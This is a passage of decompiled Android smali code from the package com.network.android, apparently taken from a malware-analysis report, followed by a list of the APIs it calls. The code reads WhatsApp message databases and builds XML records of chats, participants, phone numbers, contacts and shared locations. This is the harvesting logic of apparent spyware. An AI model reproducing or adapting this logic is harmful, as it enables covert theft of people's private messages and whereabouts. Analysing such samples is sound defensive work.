      298invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      299move-result-object v1
      301const-string v3, " Vidao:"
      303invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      304move-result-object v1
      306invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      307move-result-object v1
      309invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      310move-result-object v1
      311move-object v8, v1
      312goto/16 :goto_9f
      313cond_1a6: if-eqz v4, :cond_254
      315invoke-virtual {v4}, Ljava/lang/String;->length()I
      316move-result v3
      317if-lez v3, :cond_254
      318new-instance v3, Ljava/lang/StringBuilder;
      320invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      322invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      323move-result-object v1
      325const-string v3, " Vidao:"
      327invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      328move-result-object v1
      330invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      331move-result-object v1
      333invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      334move-result-object v1
      335move-object v8, v1
      336goto/16 :goto_9f
      337cond_1c8: const/4 v3, 0x4
      338if-ne v6, v3, :cond_1e5
      339if-eqz v5, :cond_254
      341invoke-virtual {v5}, Ljava/lang/String;->length()I
      342move-result v3
      343if-lez v3, :cond_254
      344new-instance v1, Ljava/lang/StringBuilder;
      346const-string v3, " Contact:"
      348invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      350invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      351move-result-object v1
      353invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      354move-result-object v1
      355move-object v8, v1
      356goto/16 :goto_9f
      357cond_1e5: const/4 v3, 0x5
      358if-ne v6, v3, :cond_254
      360const-string v3, "latitude"
      362invoke-interface {p0, v3}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      363move-result v3
      365invoke-interface {p0, v3}, Landroid/database/Cursor;->getDouble(I)D
      366move-result-wide v3
      368const-string v6, "longitude"
      370invoke-interface {p0, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      371move-result v6
      373invoke-interface {p0, v6}, Landroid/database/Cursor;->getDouble(I)D
      374move-result-wide v6
      375new-instance v8, Ljava/lang/StringBuilder;
      377invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
      379invoke-virtual {v8, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      380move-result-object v1
      382const-string v8, " Location:("
      384invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      385move-result-object v1
      387invoke-virtual {v1, v3, v4}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
      388move-result-object v1
      390const-string v3, ","
      392invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      393move-result-object v1
      395invoke-virtual {v1, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
      396move-result-object v1
      398const-string v3, ")"
      400invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      401move-result-object v1
      403invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      404move-result-object v1
      405if-eqz v5, :cond_242
      406new-instance v3, Ljava/lang/StringBuilder;
      408invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      410invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      411move-result-object v1
      413const-string v3, " - ("
      415invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      416move-result-object v1
      418invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      419move-result-object v1
      421const-string v3, ")"
      423invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      424move-result-object v1
      426invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      427move-result-object v1
      428cond_242: new-instance v3, Ljava/lang/StringBuilder;
      430const-string v4, "whatsapp Location: "
      432invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      434invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      435move-result-object v3
      437invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      438move-result-object v3
      440invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      441cond_254: move-object v8, v1
      442goto/16 :goto_9f
      443cond_257: const/4 v1, 0x0
      444move v7, v1
      445goto/16 :goto_dc
      446cond_25b: const/4 v3, 0x0
      448invoke-virtual {v2, v3, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      449move-result-object v4
      451const-string v1, "-"
      453invoke-virtual {v4, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      454move-result v12
      456const-string v1, "unknown"
      458const-string v3, "unknown"
      459if-eqz v7, :cond_407
      460if-nez v12, :cond_35f
      461move-object/from16 v0, p1
      463invoke-static {v2, v0, v5}, Lcom/network/android/m;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
      464move-result-object v1
      465new-instance v3, Ljava/lang/StringBuilder;
      467invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      469invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      470move-result-object v3
      472const-string v7, ", "
      474invoke-virtual {v3, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      475move-result-object v3
      477invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      478move-result-object v1
      480invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      481move-result-object v1
      482new-instance v3, Ljava/lang/StringBuilder;
      484invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      486invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      487move-result-object v3
      489const-string v7, ", "
      491invoke-virtual {v3, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      492move-result-object v3
      494invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      495move-result-object v3
      497invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      498try_end_2a1: move-result-object v3
      499move-object v4, v6
      500goto_2a3:
      501invoke-static {v10}, Lcom/network/android/m;->a(Ljava/lang/String;)Ljava/lang/String;
      502move-result-object v6
      504const-string v7, ""
      506const-string v10, "imEntry"
      507move-object/from16 v0, p3
      509invoke-interface {v0, v7, v10}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      511const-string v7, ""
      513const-string v10, "recordId"
      514move-object/from16 v0, p3
      516invoke-interface {v0, v7, v10, v9}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      518const-string v7, ""
      520const-string v9, "sessionId"
      521move-object/from16 v0, p3
      523invoke-interface {v0, v7, v9, v2}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      525const-string v2, ""
      527const-string v7, "from"
      528move-object/from16 v0, p3
      530invoke-interface {v0, v2, v7, v5}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      532const-string v2, ""
      534const-string v5, "platform"
      536const-string v7, "whatsapp"
      537move-object/from16 v0, p3
      539invoke-interface {v0, v2, v5, v7}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      541const-string v2, ""
      543const-string v5, "timestamp"
      544move-object/from16 v0, p3
      546invoke-interface {v0, v2, v5, v6}, Lorg/xmlpull/v1/XmlSerializer;->attribute(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      548const-string v2, ""
      550const-string v5, "chat"
      551move-object/from16 v0, p3
      553invoke-interface {v0, v2, v5}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      554new-instance v2, Ljava/lang/StringBuilder;
      556invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      558invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      559move-result-object v2
      561const-string v4, ": "
      563invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      564move-result-object v2
      566invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      567move-result-object v2
      569invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      570move-result-object v2
      571move-object/from16 v0, p3
      573invoke-static {v0, v2}, Lcom/network/android/m;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;)Ljava/lang/String;
      575const-string v2, ""
      577const-string v4, "chat"
      578move-object/from16 v0, p3
      580invoke-interface {v0, v2, v4}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      582const-string v2, ""
      584const-string v4, "participants"
      585move-object/from16 v0, p3
      587invoke-interface {v0, v2, v4}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      588move-object/from16 v0, p3
      590invoke-static {v0, v1}, Lcom/network/android/m;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;)Ljava/lang/String;
      592const-string v1, ""
      594const-string v2, "participants"
      595move-object/from16 v0, p3
      597invoke-interface {v0, v1, v2}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      599const-string v1, ""
      601const-string v2, "participantNumbers"
      602move-object/from16 v0, p3
      604invoke-interface {v0, v1, v2}, Lorg/xmlpull/v1/XmlSerializer;->startTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      605move-object/from16 v0, p3
      607invoke-static {v0, v3}, Lcom/network/android/m;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;)Ljava/lang/String;
      609const-string v1, ""
      611const-string v2, "participantNumbers"
      612move-object/from16 v0, p3
      614invoke-interface {v0, v1, v2}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      616const-string v1, ""
      618const-string v2, "imEntry"
      619move-object/from16 v0, p3
      621invoke-interface {v0, v1, v2}, Lorg/xmlpull/v1/XmlSerializer;->endTag(Ljava/lang/String;Ljava/lang/String;)Lorg/xmlpull/v1/XmlSerializer;
      622try_end_344: goto/16 :goto_12
      623catch_346: move-exception v1
      624try_start_347: new-instance v2, Ljava/lang/StringBuilder;
      626const-string v3, "get whatsapp iter serializeWhatsAppSingleEntry - "
      628invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      630invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      631move-result-object v3
      633invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      634move-result-object v2
      636invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      637move-result-object v2
      639invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      640goto/16 :goto_12
      641cond_35f: if-eqz p2, :cond_4ff
      642new-instance v1, Ljava/lang/StringBuilder;
      644const-string v3, "pa-"
      646invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      648invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      649move-result-object v1
      651invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      652move-result-object v1
      653const/4 v3, 0x0
      654move-object/from16 v0, p2
      656invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      657move-result-object v1
      658if-nez v1, :cond_37e
      659move-object v1, v2
      660move-object v3, v2
      661move-object v4, v6
      662goto/16 :goto_2a3
      663cond_37e:
      664const-string v3, ","
      666invoke-virtual {v1, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      667move-result-object v7
      668new-instance v1, Ljava/lang/StringBuilder;
      670const-string v3, "whatsapp groupIdsArry length: "
      672invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      673array-length v3, v7
      675invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      676move-result-object v1
      678invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      679move-result-object v1
      681invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      682const/4 v1, 0x0
      683move-object v3, v5
      684move v4, v1
      685move-object v1, v6
      686goto_39b: array-length v11, v7
      687if-ge v4, v11, :cond_404
      688aget-object v11, v7, v4
      690const-string v12, "@"
      692invoke-virtual {v11, v12}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      693move-result v11
      694if-gez v11, :cond_3c4
      695new-instance v1, Ljava/lang/StringBuilder;
      697const-string v2, "addWhatsAppSingleEntry loop cannot find \'@\' in \'"
      699invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      700aget-object v2, v7, v4
      702invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      703move-result-object v1
      705const-string v2, "\'"
      707invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      708move-result-object v1
      710invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      711move-result-object v1
      713invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      714goto/16 :goto_12
      715cond_3c4: aget-object v12, v7, v4
      716const/4 v13, 0x0
      718invoke-virtual {v12, v13, v11}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      719move-result-object v11
      720new-instance v12, Ljava/lang/StringBuilder;
      722invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
      724invoke-virtual {v12, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      725move-result-object v3
      727const-string v12, ", "
      729invoke-virtual {v3, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      730move-result-object v3
      732invoke-virtual {v3, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      733move-result-object v3
      735invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      736move-result-object v3
      737aget-object v12, v7, v4
      738move-object/from16 v0, p1
      740invoke-static {v12, v0, v11}, Lcom/network/android/m;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
      741move-result-object v11
      742new-instance v12, Ljava/lang/StringBuilder;
      744invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
      746invoke-virtual {v12, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      747move-result-object v1
      749const-string v12, ", "
      751invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      752move-result-object v1
      754invoke-virtual {v1, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      755move-result-object v1
      757invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      758move-result-object v1
      759add-int/lit8 v4, v4, 0x1
      760goto/16 :goto_39b
      761cond_404: move-object v4, v6
      762goto/16 :goto_2a3
      763cond_407: if-nez v12, :cond_441
      764move-object/from16 v0, p1
      766invoke-static {v2, v0, v4}, Lcom/network/android/m;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
      767move-result-object v7
      768new-instance v1, Ljava/lang/StringBuilder;
      770invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      772invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      773move-result-object v1
      775const-string v3, ", "
      777invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      778move-result-object v1
      780invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      781move-result-object v1
      783invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      784move-result-object v1
      785new-instance v3, Ljava/lang/StringBuilder;
      787invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      789invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      790move-result-object v3
      792const-string v6, ", "
      794invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      795move-result-object v3
      797invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      798move-result-object v3
      800invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      801move-result-object v3
      802move-object v5, v4
      803move-object v4, v7
      804goto/16 :goto_2a3
      805cond_441: if-eqz v11, :cond_12
      807invoke-virtual {v11}, Ljava/lang/String;->length()I
      808move-result v1
      809if-eqz v1, :cond_12
      811const-string v1, "@"
      813invoke-virtual {v11, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      814move-result v1
      815const/4 v3, -0x1
      816if-eq v1, v3, :cond_12
      817const/4 v1, 0x0
      819const-string v3, "@"
      821invoke-virtual {v11, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      822move-result v3
      824invoke-virtual {v11, v1, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      825move-result-object v5
      826move-object/from16 v0, p1
      828invoke-static {v11, v0, v5}, Lcom/network/android/m;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
      829move-result-object v3
      830if-eqz p2, :cond_4fa
      831new-instance v1, Ljava/lang/StringBuilder;
      833const-string v4, "pa-"
      835invoke-direct {v1, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      837invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      838move-result-object v1
      840invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      841move-result-object v1
      842const/4 v4, 0x0
      843move-object/from16 v0, p2
      845invoke-interface {v0, v1, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      846move-result-object v1
      847if-nez v1, :cond_482
      848move-object v1, v2
      849move-object v4, v3
      850move-object v3, v2
      851goto/16 :goto_2a3
      852cond_482:
      853const-string v4, ","
      855invoke-virtual {v1, v4}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      856move-result-object v7
      857const/4 v1, 0x0
      858move-object v4, v5
      859move v6, v1
      860move-object v1, v3
      861goto_48c: array-length v11, v7
      862if-ge v6, v11, :cond_4f5
      863aget-object v11, v7, v6
      865const-string v12, "@"
      867invoke-virtual {v11, v12}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      868move-result v11
      869if-gez v11, :cond_4b5
      870new-instance v1, Ljava/lang/StringBuilder;
      872const-string v2, "addWhatsAppSingleEntry last cannot find \'@\' in \'"
      874invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      875aget-object v2, v7, v6
      877invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      878move-result-object v1
      880const-string v2, "\'"
      882invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      883move-result-object v1
      885invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      886move-result-object v1
      888invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      889goto/16 :goto_12
      890cond_4b5: aget-object v12, v7, v6
      891const/4 v13, 0x0
      893invoke-virtual {v12, v13, v11}, Ljava/lang/String;->substring(II)Ljava/lang/String;
      894move-result-object v11
      895new-instance v12, Ljava/lang/StringBuilder;
      897invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
      899invoke-virtual {v12, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      900move-result-object v4
      902const-string v12, ", "
      904invoke-virtual {v4, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      905move-result-object v4
      907invoke-virtual {v4, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      908move-result-object v4
      910invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      911move-result-object v4
      912aget-object v12, v7, v6
      913move-object/from16 v0, p1
      915invoke-static {v12, v0, v11}, Lcom/network/android/m;->a(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)Ljava/lang/String;
      916move-result-object v11
      917new-instance v12, Ljava/lang/StringBuilder;
      919invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
      921invoke-virtual {v12, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      922move-result-object v1
      924const-string v12, ", "
      926invoke-virtual {v1, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      927move-result-object v1
      929invoke-virtual {v1, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      930move-result-object v1
      932invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      933try_end_4f1: move-result-object v1
      934add-int/lit8 v6, v6, 0x1
      935goto/16 :goto_48c
      936cond_4f5: move-object v14, v4
      937move-object v4, v3
      938move-object v3, v14
      939goto/16 :goto_2a3
      940cond_4fa: move-object v1, v3
      941move-object v4, v3
      942move-object v3, v5
      943goto/16 :goto_2a3
      944cond_4ff: move-object v4, v6
      945goto/16 :goto_2a3
      946cond_502: move-object v1, v3
      947goto/16 :goto_7c
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.ReentrantReadWriteLock.<init>
      • java.util.concurrent.locks.ReentrantReadWriteLock.readLock
      • java.util.concurrent.locks.Lock.lock
      • java.util.LinkedList.<init>
      • java.util.List.add
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.List.add
      • java.lang.StringBuilder.<init>
      • java.util.List.size
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.List.size
      • java.util.List.iterator
      • java.util.Iterator.hasNext
      • java.util.Iterator.next
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.Lock.unlock
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.edit
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.commit
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.Lock.unlock
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.close
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.util.List.size
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
